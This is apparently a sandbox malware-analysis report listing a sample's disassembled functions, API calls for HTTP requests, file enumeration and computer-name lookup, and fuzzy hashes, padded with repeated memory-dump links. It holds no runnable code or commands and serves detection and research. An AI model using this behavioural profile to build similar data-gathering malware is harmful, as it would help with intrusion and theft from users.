Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 366bfe4e220746a39f7e4ec1bb4d95d57d192907c187853f6525562814c3ad64
Instruction ID: 312fbf4bf12d191dfbcd749db21ec432477170b447590f5226f89933c4bf7bca
Opcode Fuzzy Hash: 366bfe4e220746a39f7e4ec1bb4d95d57d192907c187853f6525562814c3ad64
Instruction Fuzzy Hash: F4F05870A4020DAFEF01ABA0DC0ABBE7B38FF24745F104914B513E21C1DBB06540DBA6

Function 001847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00184839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00184849

Strings

<, xrefs: 001847C9

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 1f0bf7d008185447b61adb44cc46ec388f0c5a56c95c6587fa6537d29486502f
Instruction ID: 7f6943efb4461c3da4117bb60a49275948af6454577004d98c4f0d4536eb7215
Opcode Fuzzy Hash: 1f0bf7d008185447b61adb44cc46ec388f0c5a56c95c6587fa6537d29486502f
Instruction Fuzzy Hash: 76213EB1D00209ABDF14DFA5EC45ADE7B79FF44320F108625F915A7291EB706A09CF81

Function 001951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 00186280: InternetOpenA.WININET(001A0DFE,00000001,00000000,00000000,00000000), ref: 001862E1
Part of subcall function 00186280: StrCmpCA.SHLWAPI(?,0134E510), ref: 00186303
Part of subcall function 00186280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00186335
Part of subcall function 00186280: HttpOpenRequestA.WININET(00000000,GET,?,0134D838,00000000,00000000,00400100,00000000), ref: 00186385
Part of subcall function 00186280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 001863BF
Part of subcall function 00186280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001863D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00195228

Strings

ERROR, xrefs: 0019521A
ERROR, xrefs: 00195273

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: e4bb2763f589670d52e71de6fa4213169ab92394d105bdb42e36da13481c5dd6
Instruction ID: 39096f8699bad74d97f95d62504948dfb02760b050b624ac693c252d316fe1a4
Opcode Fuzzy Hash: e4bb2763f589670d52e71de6fa4213169ab92394d105bdb42e36da13481c5dd6
Instruction Fuzzy Hash: AC11FE31910148ABCF18FFA4DD52AED7779AF60340F804168F81A5B592EF31AB0ACBD1

Function 00194F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00198DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00198E0B

lstrcat.KERNEL32(?,00000000), ref: 00194F7A
lstrcat.KERNEL32(?,001A1070), ref: 00194F97
lstrcat.KERNEL32(?,013488C0), ref: 00194FAB
lstrcat.KERNEL32(?,001A1074), ref: 00194FBD

Part of subcall function 00194910: wsprintfA.USER32 ref: 0019492C
Part of subcall function 00194910: FindFirstFileA.KERNEL32(?,?), ref: 00194943

Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A0FDC), ref: 00194971
Part of subcall function 00194910: StrCmpCA.SHLWAPI(?,001A0FE0), ref: 00194987
Part of subcall function 00194910: FindNextFileA.KERNEL32(000000FF,?), ref: 00194B7D
Part of subcall function 00194910: FindClose.KERNEL32(000000FF), ref: 00194B92

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 61e8bbd0b33b407df3f8530096f8dba9f316d703e204d70c3dc6bab5365bfb6e
Instruction ID: e90e99bd56b3312b1ccc0eabf8977cf6b7a7842ebf09b69a570ecd4204a94e29
Opcode Fuzzy Hash: 61e8bbd0b33b407df3f8530096f8dba9f316d703e204d70c3dc6bab5365bfb6e
Instruction Fuzzy Hash: 3121987A90020867CB55FBB0EC46EE9377CAB69304F004558B699D3181EF74ABC98B92

Function 00190740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013489E0), ref: 0019079A
StrCmpCA.SHLWAPI(00000000,01348800), ref: 00190866
StrCmpCA.SHLWAPI(00000000,01348970), ref: 0019099D

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 8ef002dd375ed3dfa0f6025fc23d8c2f3a857149600116b3c6f3539227f560aa
Instruction ID: e77c7332846fcd4fccb66a7a4574c7d709fcd619561e33f63739c0add8386999
Opcode Fuzzy Hash: 8ef002dd375ed3dfa0f6025fc23d8c2f3a857149600116b3c6f3539227f560aa
Instruction Fuzzy Hash: CB915975A102089FCF18EF64D996EED77B9FF95304F508519E8099F241DB30AA0ACBD2

Function 00190765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013489E0), ref: 0019079A
StrCmpCA.SHLWAPI(00000000,01348800), ref: 00190866
StrCmpCA.SHLWAPI(00000000,01348970), ref: 0019099D

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: a15626af8761fb04d23123b28e29daf22641cfb0750d4e12d526315a04d36315
Instruction ID: d279dd7040b497fecad138daad4b7bc2a08bb2672aa3e7ee8bbc798dcbe9a96c
Opcode Fuzzy Hash: a15626af8761fb04d23123b28e29daf22641cfb0750d4e12d526315a04d36315
Instruction Fuzzy Hash: 4D814675A102089FCF18EF64D995EEDB7B6FF95304F508519E8099F251DB30AA0ACBC2

Function 001970D0 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

memset.MSVCRT ref: 0019716A

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0019718C

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-4138519520
Opcode ID: cd7df4977630161dfa7fe8ec807b3eb3c08068115bad1ebb88c61d7fae51098c
Instruction ID: 7e406f7fc54ac09433a87b0f23860b6b079fd9712cefb4c158f9081fcdc4176e
Opcode Fuzzy Hash: cd7df4977630161dfa7fe8ec807b3eb3c08068115bad1ebb88c61d7fae51098c
Instruction Fuzzy Hash: AD517EB0D142189BDF24EBA0DC86BEEB374AF54304F6040A8E215771C1EB746E88CF69

Function 001978E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00197910
RtlAllocateHeap.NTDLL(00000000), ref: 00197917
GetComputerNameA.KERNEL32(?,00000104), ref: 0019792F

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 3e8232b64830183c9bf4a828289485059dafa33adf7bbd672848cf1c9d4e83e1
Instruction ID: d6a1e7e278f21f3818e237624846a335face14152ccfa01c9cd1ed567778d07e
Opcode Fuzzy Hash: 3e8232b64830183c9bf4a828289485059dafa33adf7bbd672848cf1c9d4e83e1
Instruction Fuzzy Hash: 210186B1A04708EBDB04DF94DD45FAABBBCFB04B25F10421AF545E3280C37459008BA1

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

